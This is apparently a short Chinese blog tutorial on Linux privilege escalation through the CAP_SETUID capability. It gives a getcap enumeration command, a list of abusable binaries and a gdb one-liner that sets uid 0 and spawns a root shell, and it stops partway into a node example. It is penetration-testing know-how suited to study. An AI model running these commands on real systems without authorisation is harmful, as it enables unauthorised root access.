linux2.2之后,产生了Capabilities用于分隔root权限,以便于用户更好,更安全,更精细的管理机器的功能和权限。
具体的相关与capabilities的使用方面知识可以去参考这篇文章Linux Capabilities 简介 - sparkdev - 博客园 (cnblogs.com)
这里仅讨论对提权有帮助的CAP_SETUID标志
操作
首先需要探查有CAP_SETUID标志的进程
/usr/sbin/getcap -r / 2>/dev/null
这样来找到进程
如果此处展现出类似于
/usr/bin/python2.7 = cap_setuid+ep
的字样,此处就有可能存在提权问题
可能产生Capabilities提权的程序有以下这些
gdb,node,perl,php,python,ruby,rview,rvim,view,vim,vimdiff
可以查看一下有没有你查询到的程序
利用方法如下
# gbd的利用方法
./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
#node的利用方法
./node -e 'proc